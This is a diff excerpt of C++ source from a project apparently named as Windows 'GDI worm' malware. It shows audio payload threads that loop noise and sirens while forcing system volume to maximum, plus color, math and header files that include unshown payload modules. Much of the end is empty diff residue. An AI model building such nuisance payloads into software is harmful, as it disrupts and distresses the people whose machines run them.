{
|
| 143 |
+
HWAVEOUT hWaveOut = 0;
|
| 144 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 145 |
+
|
| 146 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 147 |
+
|
| 148 |
+
BYTE sbuffer[17000 * 60];
|
| 149 |
+
|
| 150 |
+
while (true)
|
| 151 |
+
{
|
| 152 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 153 |
+
{
|
| 154 |
+
DWORD wave = Math::SineWave(1, t, 1, wfx.nSamplesPerSec);
|
| 155 |
+
|
| 156 |
+
DWORD freq = ((wave | t) * 1000);
|
| 157 |
+
|
| 158 |
+
sbuffer[t] = t | (freq | t) % 500;
|
| 159 |
+
}
|
| 160 |
+
|
| 161 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 162 |
+
|
| 163 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 164 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 165 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 166 |
+
|
| 167 |
+
Sleep(1000 * 31);
|
| 168 |
+
|
| 169 |
+
waveOutReset(hWaveOut);
|
| 170 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(header));
|
| 171 |
+
}
|
| 172 |
+
|
| 173 |
+
return 0x00;
|
| 174 |
+
}
|
| 175 |
+
|
| 176 |
+
//Blocky thing
|
| 177 |
+
DWORD WINAPI BytebeatC(LPVOID lpvd)
|
| 178 |
+
{
|
| 179 |
+
HWAVEOUT hWaveOut = 0;
|
| 180 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 181 |
+
|
| 182 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 183 |
+
|
| 184 |
+
BYTE sbuffer[17000 * 60];
|
| 185 |
+
|
| 186 |
+
while (true)
|
| 187 |
+
{
|
| 188 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 189 |
+
{
|
| 190 |
+
DWORD c = t * 4;
|
| 191 |
+
|
| 192 |
+
DWORD freq = (c | c << 2) >> 100;
|
| 193 |
+
|
| 194 |
+
sbuffer[t] = t | (freq | t) % 500;
|
| 195 |
+
}
|
| 196 |
+
|
| 197 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 198 |
+
|
| 199 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 200 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 201 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 202 |
+
|
| 203 |
+
Sleep(1000 * 31);
|
| 204 |
+
}
|
| 205 |
+
|
| 206 |
+
return 0x00;
|
| 207 |
+
}
|
| 208 |
+
|
| 209 |
+
//Descending and Ascending
|
| 210 |
+
DWORD WINAPI BytebeatB(LPVOID lpvd)
|
| 211 |
+
{
|
| 212 |
+
HWAVEOUT hWaveOut = 0;
|
| 213 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 214 |
+
|
| 215 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 216 |
+
|
| 217 |
+
BYTE sbuffer[17000 * 60];
|
| 218 |
+
|
| 219 |
+
DWORD c = 0;
|
| 220 |
+
FLOAT d = 4.9;
|
| 221 |
+
DWORD e = 0;
|
| 222 |
+
|
| 223 |
+
BOOL statementA = TRUE; //4.9 -> 4.1
|
| 224 |
+
BOOL statementB = FALSE; //3.2 -> 3.8
|
| 225 |
+
BOOL statementC = FALSE; //3.8 -> 3.2
|
| 226 |
+
|
| 227 |
+
while (true)
|
| 228 |
+
{
|
| 229 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 230 |
+
{
|
| 231 |
+
//d = 4.9
|
| 232 |
+
if (statementA && c == 10000)
|
| 233 |
+
{
|
| 234 |
+
c = 0;
|
| 235 |
+
d -= 0.1;
|
| 236 |
+
|
| 237 |
+
if (d <= 4.0)
|
| 238 |
+
{
|
| 239 |
+
d = 4.9;
|
| 240 |
+
e++;
|
| 241 |
+
|
| 242 |
+
if (e == 2)
|
| 243 |
+
{
|
| 244 |
+
statementA = false;
|
| 245 |
+
statementB = true;
|
| 246 |
+
|
| 247 |
+
d = 3.2;
|
| 248 |
+
e = 0;
|
| 249 |
+
}
|
| 250 |
+
}
|
| 251 |
+
}
|
| 252 |
+
|
| 253 |
+
//d = 3.2
|
| 254 |
+
if (statementB && c == 10000)
|
| 255 |
+
{
|
| 256 |
+
c = 0;
|
| 257 |
+
d += 0.1;
|
| 258 |
+
|
| 259 |
+
if (d >= 3.9)
|
| 260 |
+
{
|
| 261 |
+
d = 3.2;
|
| 262 |
+
e++;
|
| 263 |
+
|
| 264 |
+
if (e == 2)
|
| 265 |
+
{
|
| 266 |
+
statementB = false;
|
| 267 |
+
statementC = true;
|
| 268 |
+
|
| 269 |
+
d = 3.8;
|
| 270 |
+
e = 0;
|
| 271 |
+
}
|
| 272 |
+
}
|
| 273 |
+
}
|
| 274 |
+
|
| 275 |
+
//d = 3.8
|
| 276 |
+
if (statementC && c == 10000)
|
| 277 |
+
{
|
| 278 |
+
c = 0;
|
| 279 |
+
d -= 0.1;
|
| 280 |
+
|
| 281 |
+
if (d <= 3.1)
|
| 282 |
+
{
|
| 283 |
+
d = 3.9;
|
| 284 |
+
e++;
|
| 285 |
+
|
| 286 |
+
if (e == 2)
|
| 287 |
+
{
|
| 288 |
+
statementC = false;
|
| 289 |
+
statementA = true;
|
| 290 |
+
|
| 291 |
+
d = 4.9;
|
| 292 |
+
e = 0;
|
| 293 |
+
}
|
| 294 |
+
}
|
| 295 |
+
}
|
| 296 |
+
|
| 297 |
+
int dx = c * d;
|
| 298 |
+
int freq = dx % 500;
|
| 299 |
+
|
| 300 |
+
double sound = c | freq % 100000;
|
| 301 |
+
|
| 302 |
+
sbuffer[t] = sound;
|
| 303 |
+
|
| 304 |
+
c++;
|
| 305 |
+
}
|
| 306 |
+
|
| 307 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 308 |
+
|
| 309 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 310 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 311 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 312 |
+
|
| 313 |
+
Sleep(1000 * 31);
|
| 314 |
+
}
|
| 315 |
+
|
| 316 |
+
return 0x00;
|
| 317 |
+
}
|
| 318 |
+
|
| 319 |
+
//Final bytebeat
|
| 320 |
+
DWORD WINAPI Noise(LPVOID lpvd)
|
| 321 |
+
{
|
| 322 |
+
HWAVEOUT hWaveOut = 0;
|
| 323 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 324 |
+
|
| 325 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 326 |
+
|
| 327 |
+
BYTE sbuffer[17000 * 60];
|
| 328 |
+
|
| 329 |
+
DWORD c = 0;
|
| 330 |
+
|
| 331 |
+
while (true)
|
| 332 |
+
{
|
| 333 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 334 |
+
{
|
| 335 |
+
if (c == 100000)
|
| 336 |
+
{
|
| 337 |
+
c = 0;
|
| 338 |
+
}
|
| 339 |
+
|
| 340 |
+
DWORD freq = (rand() % (c + 1)) % (c + 1);
|
| 341 |
+
|
| 342 |
+
sbuffer[t] = c ^ freq % 500;
|
| 343 |
+
|
| 344 |
+
c++;
|
| 345 |
+
}
|
| 346 |
+
|
| 347 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 348 |
+
|
| 349 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 350 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 351 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 352 |
+
|
| 353 |
+
Sleep(1000 * 31);
|
| 354 |
+
}
|
| 355 |
+
|
| 356 |
+
return 0x00;
|
| 357 |
+
}
|
| 358 |
+
|
| 359 |
+
//Exponential Siren
|
| 360 |
+
DWORD WINAPI ExpSiren(LPVOID lpvd)
|
| 361 |
+
{
|
| 362 |
+
HWAVEOUT hWaveOut = 0;
|
| 363 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 364 |
+
|
| 365 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 366 |
+
|
| 367 |
+
BYTE sbuffer[17000 * 60];
|
| 368 |
+
|
| 369 |
+
DWORD c = 0;
|
| 370 |
+
|
| 371 |
+
while (true)
|
| 372 |
+
{
|
| 373 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 374 |
+
{
|
| 375 |
+
//if (c == 900000)
|
| 376 |
+
//{
|
| 377 |
+
//c = 0;
|
| 378 |
+
//}
|
| 379 |
+
|
| 380 |
+
double wave = Math::SineWave(1, c * 0.0011, (c & 32767), wfx.nSamplesPerSec * 2);
|
| 381 |
+
|
| 382 |
+
sbuffer[t] = (int(wave * 0xA) & 0xFFFF);
|
| 383 |
+
|
| 384 |
+
c++;
|
| 385 |
+
}
|
| 386 |
+
|
| 387 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 388 |
+
|
| 389 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 390 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 391 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 392 |
+
|
| 393 |
+
Sleep(1000 * 31);
|
| 394 |
+
}
|
| 395 |
+
|
| 396 |
+
return 0x00;
|
| 397 |
+
}
|
| 398 |
+
|
| 399 |
+
|
| 400 |
+
DWORD WINAPI DecrescendoSiren(LPVOID lpvd)
|
| 401 |
+
{
|
| 402 |
+
HWAVEOUT hWaveOut = 0;
|
| 403 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 404 |
+
|
| 405 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 406 |
+
|
| 407 |
+
BYTE sbuffer[17000 * 60];
|
| 408 |
+
|
| 409 |
+
DWORD dx = 0;
|
| 410 |
+
|
| 411 |
+
DWORD c = 0;
|
| 412 |
+
|
| 413 |
+
while (true)
|
| 414 |
+
{
|
| 415 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 416 |
+
{
|
| 417 |
+
if (c == 100000)
|
| 418 |
+
{
|
| 419 |
+
c = 0;
|
| 420 |
+
}
|
| 421 |
+
|
| 422 |
+
DWORD offset = c + 17000;
|
| 423 |
+
|
| 424 |
+
double freq = (8 * sizeof(sbuffer)) / offset;
|
| 425 |
+
|
| 426 |
+
sbuffer[t] = Math::SineWave(freq, 2, offset, 4000);
|
| 427 |
+
sbuffer[t] *= 3;
|
| 428 |
+
|
| 429 |
+
c++;
|
| 430 |
+
}
|
| 431 |
+
|
| 432 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 433 |
+
|
| 434 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 435 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 436 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 437 |
+
|
| 438 |
+
Sleep(1000 * 31);
|
| 439 |
+
}
|
| 440 |
+
|
| 441 |
+
return 0x00;
|
| 442 |
+
}
|
| 443 |
+
|
| 444 |
+
//Chaos
|
| 445 |
+
DWORD WINAPI Bytebeat2(LPVOID lpvd)
|
| 446 |
+
{
|
| 447 |
+
DWORD counter = 44000;
|
| 448 |
+
DWORD d = 0;
|
| 449 |
+
DWORD c = 0;
|
| 450 |
+
|
| 451 |
+
BOOL statement = TRUE;
|
| 452 |
+
|
| 453 |
+
HWAVEOUT hWaveOut = 0;
|
| 454 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 455 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 456 |
+
|
| 457 |
+
BYTE sbuffer[17000 * 60];
|
| 458 |
+
|
| 459 |
+
while (true)
|
| 460 |
+
{
|
| 461 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 462 |
+
{
|
| 463 |
+
if (c == counter)
|
| 464 |
+
{
|
| 465 |
+
if (statement)
|
| 466 |
+
{
|
| 467 |
+
d++;
|
| 468 |
+
|
| 469 |
+
if (d == 10)
|
| 470 |
+
{
|
| 471 |
+
statement = FALSE;
|
| 472 |
+
}
|
| 473 |
+
}
|
| 474 |
+
|
| 475 |
+
if (!statement)
|
| 476 |
+
{
|
| 477 |
+
d--;
|
| 478 |
+
|
| 479 |
+
if (d == 0)
|
| 480 |
+
{
|
| 481 |
+
statement = TRUE;
|
| 482 |
+
}
|
| 483 |
+
}
|
| 484 |
+
|
| 485 |
+
if (counter == 500) d = rand() % 10;
|
| 486 |
+
|
| 487 |
+
if (counter > 1000) counter -= 1000;
|
| 488 |
+
if (counter <= 1000) counter -= 50;
|
| 489 |
+
|
| 490 |
+
if (counter == 0) counter = 500;
|
| 491 |
+
|
| 492 |
+
c = 0;
|
| 493 |
+
}
|
| 494 |
+
|
| 495 |
+
int freq = c * (3 + ((float)d / (float)10));
|
| 496 |
+
sbuffer[t] = t | freq % 500;
|
| 497 |
+
|
| 498 |
+
c++;
|
| 499 |
+
}
|
| 500 |
+
|
| 501 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 502 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 503 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 504 |
+
waveOutSetVolume(hWaveOut, MAKELONG(65535, 65535));
|
| 505 |
+
|
| 506 |
+
Sleep(1000 * 31);
|
| 507 |
+
}
|
| 508 |
+
|
| 509 |
+
return 0x00;
|
| 510 |
+
}
|
| 511 |
+
}
|
src/GDI-Worm.Win32.Purgatorium-main/Source/Colors.h
ADDED
|
@@ -0,0 +1,79 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
typedef struct IUnknown IUnknown;
|
| 2 |
+
|
| 3 |
+
#pragma once
|
| 4 |
+
|
| 5 |
+
#include "Purgatorium.h"
|
| 6 |
+
|
| 7 |
+
typedef struct
|
| 8 |
+
{
|
| 9 |
+
FLOAT h;
|
| 10 |
+
FLOAT s;
|
| 11 |
+
FLOAT v;
|
| 12 |
+
} HSV;
|
| 13 |
+
|
| 14 |
+
namespace Colors
|
| 15 |
+
{
|
| 16 |
+
RGBQUAD HSVtoRGB(HSV hsv)
|
| 17 |
+
{
|
| 18 |
+
int hi = (int)floor(hsv.h / 60.0) % 6;
|
| 19 |
+
double f = hsv.h / 60.0 - floor(hsv.h / 60.0);
|
| 20 |
+
double p = hsv.v * (1.0 - hsv.s);
|
| 21 |
+
double q = hsv.v * (1.0 - f * hsv.s);
|
| 22 |
+
double t = hsv.v * (1.0 - (1.0 - f) * hsv.s);
|
| 23 |
+
|
| 24 |
+
switch (hi)
|
| 25 |
+
{
|
| 26 |
+
case 0:
|
| 27 |
+
return { static_cast<BYTE>(hsv.v * 255), static_cast<BYTE>(t * 255), static_cast<BYTE>(p * 255) };
|
| 28 |
+
case 1:
|
| 29 |
+
return { static_cast<BYTE>(q * 255), static_cast<BYTE>(hsv.v * 255), static_cast<BYTE>(p * 255) };
|
| 30 |
+
case 2:
|
| 31 |
+
return { static_cast<BYTE>(p * 255), static_cast<BYTE>(hsv.v * 255), static_cast<BYTE>(t * 255) };
|
| 32 |
+
case 3:
|
| 33 |
+
return { static_cast<BYTE>(p * 255), static_cast<BYTE>(q * 255), static_cast<BYTE>(hsv.v * 255) };
|
| 34 |
+
case 4:
|
| 35 |
+
return { static_cast<BYTE>(t * 255), static_cast<BYTE>(p * 255), static_cast<BYTE>(hsv.v * 255) };
|
| 36 |
+
default:
|
| 37 |
+
return { static_cast<BYTE>(hsv.v * 255), static_cast<BYTE>(p * 255), static_cast<BYTE>(q * 255) };
|
| 38 |
+
}
|
| 39 |
+
}
|
| 40 |
+
|
| 41 |
+
HSV RGBtoHSV(RGBQUAD rgbquad)
|
| 42 |
+
{
|
| 43 |
+
HSV hsv;
|
| 44 |
+
|
| 45 |
+
double rd = rgbquad.rgbRed / 255.0;
|
| 46 |
+
double gd = rgbquad.rgbGreen / 255.0;
|
| 47 |
+
double bd = rgbquad.rgbBlue / 255.0;
|
| 48 |
+
|
| 49 |
+
double cmax = max(max(rd, gd), bd);
|
| 50 |
+
double cmin = min(min(rd, gd), bd);
|
| 51 |
+
double delta = cmax - cmin;
|
| 52 |
+
|
| 53 |
+
hsv.v = cmax;
|
| 54 |
+
|
| 55 |
+
if (cmax > 0.0)
|
| 56 |
+
hsv.s = delta / cmax;
|
| 57 |
+
else
|
| 58 |
+
hsv.s = 0.0;
|
| 59 |
+
|
| 60 |
+
if (delta > 0.0)
|
| 61 |
+
{
|
| 62 |
+
if (cmax == rd)
|
| 63 |
+
hsv.h = 60.0 * fmod((gd - bd) / delta, 6.0);
|
| 64 |
+
else if (cmax == gd)
|
| 65 |
+
hsv.h = 60.0 * ((bd - rd) / delta + 2.0);
|
| 66 |
+
else if (cmax == bd)
|
| 67 |
+
hsv.h = 60.0 * ((rd - gd) / delta + 4.0);
|
| 68 |
+
|
| 69 |
+
if (hsv.h < 0.0)
|
| 70 |
+
hsv.h += 360.0;
|
| 71 |
+
}
|
| 72 |
+
else
|
| 73 |
+
{
|
| 74 |
+
hsv.h = 0.0;
|
| 75 |
+
}
|
| 76 |
+
|
| 77 |
+
return hsv;
|
| 78 |
+
}
|
| 79 |
+
}
|
src/GDI-Worm.Win32.Purgatorium-main/Source/Math.h
ADDED
|
@@ -0,0 +1,108 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
typedef struct IUnknown IUnknown;
|
| 2 |
+
|
| 3 |
+
#pragma once
|
| 4 |
+
|
| 5 |
+
#include "Purgatorium.h"
|
| 6 |
+
|
| 7 |
+
#define PI 3.14159265358979
|
| 8 |
+
|
| 9 |
+
typedef struct
|
| 10 |
+
{
|
| 11 |
+
float x;
|
| 12 |
+
float y;
|
| 13 |
+
float z;
|
| 14 |
+
} VERTEX;
|
| 15 |
+
|
| 16 |
+
typedef struct
|
| 17 |
+
{
|
| 18 |
+
int vtx0;
|
| 19 |
+
int vtx1;
|
| 20 |
+
} EDGE;
|
| 21 |
+
|
| 22 |
+
namespace Math
|
| 23 |
+
{
|
| 24 |
+
//A = amplitude
|
| 25 |
+
//B = frequency
|
| 26 |
+
//C = phase displacement
|
| 27 |
+
//D = period
|
| 28 |
+
FLOAT SineWave(FLOAT a, FLOAT b, FLOAT c, FLOAT d)
|
| 29 |
+
{
|
| 30 |
+
return a * sin(2 * PI * b * c / d);
|
| 31 |
+
}
|
| 32 |
+
}
|
| 33 |
+
|
| 34 |
+
namespace _3D
|
| 35 |
+
{
|
| 36 |
+
VOID RotateX(VERTEX* vtx, float angle)
|
| 37 |
+
{
|
| 38 |
+
vtx->y = cos(angle) * vtx->y - sin(angle) * vtx->z;
|
| 39 |
+
vtx->z = sin(angle) * vtx->y + cos(angle) * vtx->z;
|
| 40 |
+
}
|
| 41 |
+
|
| 42 |
+
VOID RotateY(VERTEX* vtx, float angle)
|
| 43 |
+
{
|
| 44 |
+
vtx->x = cos(angle) * vtx->x + sin(angle) * vtx->z;
|
| 45 |
+
vtx->z = -sin(angle) * vtx->x + cos(angle) * vtx->z;
|
| 46 |
+
}
|
| 47 |
+
|
| 48 |
+
VOID RotateZ(VERTEX* vtx, float angle)
|
| 49 |
+
{
|
| 50 |
+
vtx->x = cos(angle) * vtx->x - sin(angle) * vtx->y;
|
| 51 |
+
vtx->y = sin(angle) * vtx->x + cos(angle) * vtx->y;
|
| 52 |
+
}
|
| 53 |
+
|
| 54 |
+
void DrawEdge(HDC dc, LPCWSTR icon, int x0, int y0, int x1, int y1, int r)
|
| 55 |
+
{
|
| 56 |
+
int dx = abs(x1 - x0);
|
| 57 |
+
int dy = -abs(y1 - y0);
|
| 58 |
+
|
| 59 |
+
int sx = (x0 < x1) ? 1 : -1;
|
| 60 |
+
int sy = (y0 < y1) ? 1 : -1;
|
| 61 |
+
|
| 62 |
+
int error = dx + dy;
|
| 63 |
+
|
| 64 |
+
int i = 0;
|
| 65 |
+
|
| 66 |
+
while (true)
|
| 67 |
+
{
|
| 68 |
+
if (i == 0)
|
| 69 |
+
{
|
| 70 |
+
DrawIcon(dc, x0, y0, LoadIcon(NULL, icon));
|
| 71 |
+
i = 10;
|
| 72 |
+
}
|
| 73 |
+
else
|
| 74 |
+
{
|
| 75 |
+
i--;
|
| 76 |
+
}
|
| 77 |
+
|
| 78 |
+
if (x0 == x1 && y0 == y1)
|
| 79 |
+
{
|
| 80 |
+
break;
|
| 81 |
+
}
|
| 82 |
+
|
| 83 |
+
int e2 = 2 * error;
|
| 84 |
+
|
| 85 |
+
if (e2 >= dy)
|
| 86 |
+
{
|
| 87 |
+
if (x0 == x1)
|
| 88 |
+
{
|
| 89 |
+
break;
|
| 90 |
+
}
|
| 91 |
+
|
| 92 |
+
error += dy;
|
| 93 |
+
x0 += sx;
|
| 94 |
+
}
|
| 95 |
+
|
| 96 |
+
if (e2 <= dx)
|
| 97 |
+
{
|
| 98 |
+
if (y0 == y1)
|
| 99 |
+
{
|
| 100 |
+
break;
|
| 101 |
+
}
|
| 102 |
+
|
| 103 |
+
error += dx;
|
| 104 |
+
y0 += sy;
|
| 105 |
+
}
|
| 106 |
+
}
|
| 107 |
+
}
|
| 108 |
+
}
|
src/GDI-Worm.Win32.Purgatorium-main/Source/Purgatorium.h
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
typedef struct IUnknown IUnknown;
|
| 2 |
+
|
| 3 |
+
#pragma once
|
| 4 |
+
|
| 5 |
+
//Include libs in linking process
|
| 6 |
+
#pragma comment(lib, "Advapi32.lib")
|
| 7 |
+
#pragma comment(lib, "msimg32.lib")
|
| 8 |
+
#pragma comment(lib, "winmm.lib")
|
| 9 |
+
|
| 10 |
+
//Pragma warnings
|
| 11 |
+
#pragma warning(disable : 4996)
|
| 12 |
+
|
| 13 |
+
//Include main libs
|
| 14 |
+
#include <Windows.h>
|
| 15 |
+
#include <math.h>
|
| 16 |
+
#include <time.h>
|
| 17 |
+
|
| 18 |
+
//Include local files
|
| 19 |
+
#include "Colors.h"
|
| 20 |
+
#include "Math.h"
|
| 21 |
+
#include "System.h"
|
| 22 |
+
#include "Payloads.h"
|
| 23 |
+
#include "Bytebeats.h"
|
| 24 |
+
#include "GDIPayloads.h"
|
src/GDI-Worm.Win32.Purgatorium-main/Source/main.cpp
ADDED
|
@@ -0,0 +1,273 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
